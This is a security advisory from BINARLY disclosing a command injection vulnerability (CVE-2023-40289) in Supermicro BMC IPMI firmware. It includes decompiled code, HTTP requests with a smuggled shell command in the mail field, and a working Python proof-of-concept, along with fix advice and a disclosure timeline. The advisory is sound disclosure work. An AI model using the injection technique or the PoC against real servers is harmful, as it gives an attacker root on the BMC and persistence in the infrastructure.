Header bannerHeader banner

[BRLY-2023-001] Command injection vulnerability in Supermicro BMC IPMI firmware

October 3, 2023

Summary

BINARLY team has discovered a command injection vulnerability  the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to execute arbitrary code.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2023-001
  • Supermicro PSIRT assigned CVE identifier: CVE-2023-40289
  • BINARLY calculated CVSS v3.1: 9.1 Critical AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • Supermicro PSIRT calculated CVSS v3.1: 7.2 High AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Affected Supermicro firmwares with confirmed impact by Binarly team

Device Version SHA256
X11SSM-F/X11SAE-F/X11SSE-F 1.66 dbc3842a5e3918463690fa165b2b0955989c00702bc7284af5875ef08e7606b1

Potential impact

An attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.

Vulnerability description

Supermicro BMC IPMI has a feature to send notification/alerts via email. User with administrative privileges can configure this notifications using the web interface via Configuration->Alerts and SMTP server settings using Configuration->SMTP menu. As a result of filling out these forms, the requests described below are sent to the backend:

POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 110
...

op=config_alert&destination=192.168.0.10&severity=2&mail=admin@binarly.io&sub=test&msg=test&index=0&fun=m&_=
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 127
...

op=config_smtp&auth_en=on&smtpSSL_en=off&smtpaddr=192.168.0.15&smtpport=587&user=test&pwd=test&sender=bmc-alert@binarly.io&_=

On the server side, these values are stored and then used to send emails when notification/alert conditions are met. This process can also be triggered manually by selecting the created alert and clicking Send Test Alert button in the Configuration->Alerts menu, or directly with this request:

POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 29
...

op=send_test_alert&index=0&_=

As a result, the code located at offset 0x7F648 in the libipmi.so binary is executed.

if ( smtpport )                             // if custom SMTP port was specified
    port = smtpport;
else
    port = 25;
if ( user || pwd )                          // if SMTP user or password was specified
    _snprintf_chk(
        command,
        256,
        1,
        256,
        "%s --host=%s --port=%d --timeout=10 --auth=login --user=%s --passwordeval='echo %s' --from=%s %s < %s 2>&1",
        msmtp_path,                         // /bin/msmtp
        smtpaddr,                           // SMTP server host
        port,                               // SMTP server port
        user,                               // SMTP server user
        pwd,                                // SMTP server password
        sender,                             // from email address
        mail,                               // to email address
        msg_path);                          // /tmp/pef.txt
else
    _snprintf_chk(
        command,
        256,
        1,
        256,
        "%s --host=%s --port=%d --timeout=10 --auth=off --from=%s %s < %s 2>&1",
        msmtp_path,                         // /bin/msmtp
        smtpaddr,                           // SMTP server host
        port,                               // SMTP server port
        sender,                             // from email address
        mail,                               // to email address
        msg_path);                          // /tmp/pef.txt

...

j_ipmi_log("email cmd=%s\n", command);      // print command to console
v15 = 0;
...

while ( do_popen(command, v24) < 0 )        // execute command
{
    v16 = v15++;
    j_console_log("msmtp: cannot send email! retry %d\n", v16);
    if ( v15 == 3 )
        return 0;
}

First, shell command is constructed using the hardcoded msmtp_path and msg_path values, as well as other variables, which are user-controlled parameters provided through the previously mentioned requests.The result will vary depending on whether the user specified username/password for SMTP server or not.This command will then be printed to the console and passed to the do_popen function, where it will be executed using glibc popen.The user-supplied smtpaddr, port, user, pwd and sender values used in building shell commands are checked for bad inputs on the server side, which prevents command injection. But mail parameter is not properly validated, so exploitaton is possible:

POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 138
...

op=config_alert&destination=192.168.0.10&severity=2&mail=admin@binarly.io;echo%20BRLY%20>/tmp/poc;cat&sub=test&msg=test&index=0&fun=m&_=

Console output:

email cmd=/bin/msmtp --host=192.168.0.15 --port=587 --timeout=10 --auth=login --user=test --passwordeval='echo test' --from=bmc-alert@binarly.io admin@binarly.io;echo BRLY >/tmp/poc;cat < /tmp/pef.txt 2>&1
msmtp: cannot connect to 192.168.0.15, port 587: Connection timed out
msmtp: could not send mail
msmtp: send email
SNMP msg=
30 81 02 02 01 00 04 06 70 75 62 6c 69 63 a4 81
10 06 09 2b 06 01 04 01 98 6f 01 01 40 04 c0 a8
2a 1b 02 01 06 02 04 00 00 00 00 43 04 63 eb 1d
ce 30 81 33 30 81 36 06 0a 2b 06 01 04 01 98 6f
01 01 01 04 44 33 31 30 31 4d 53 00 00 00 00 00
00 00 00 00 00 00 0b 2f 40 41 4e ff ff 20 20 02
00 00 00 00 00 00 00 00 00 00 00 00 19 7c 2a 00

/ # cat /tmp/poc
BRLY

Steps for exploitation

Below is the minimum PoC leading to RCE:

import requests

HOST = "192.168.0.8"
PORT = 443

SID_COOKIE = "pm0Rz8aNwnr3TP3"
CSRF_TOKEN = "2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io"
PAYLOAD = "echo BRLY >/tmp/poc"

url = f"https://{HOST}:{PORT}/cgi/op.cgi"
cookies = {"SID": SID_COOKIE}
headers = {"Csrf_token": CSRF_TOKEN, "Referer": f"https://{HOST}:{PORT}/"}

def store_payload():
    data = {"op": "config_alert", "destination": "192.168.0.10", "severity": "2", "mail": f"admin@binarly.io;{PAYLOAD};cat", "sub": "test", "msg": "test", "index": "0", "fun": "m"}
    requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)

def trigger_exploit():
    data = {"op": "send_test_alert", "index": "0"}
    requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)

if __name__ == "__main__":
    store_payload()
    trigger_exploit()

How to fix it

Ideally, user input should not be used in OS commands, instead, platform APIs or functional libraries are recommended. If it is not possible in such case, the mail parameter must be checked against a whitelist of allowed characters before passing it to popen.

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date (YYYY-mm-dd)
Supermicro PSIRT is notified 2023-06-14
Supermicro PSIRT confirmed reported issue 2023-06-29
Supermicro PSIRT assigned CVE number 2023-08-17
Supermicro PSIRT provide patch release 2023-10-03
BINARLY public disclosure date 2023-10-03

Acknowledgements

BINARLY team

Tags
BMC
Supermicro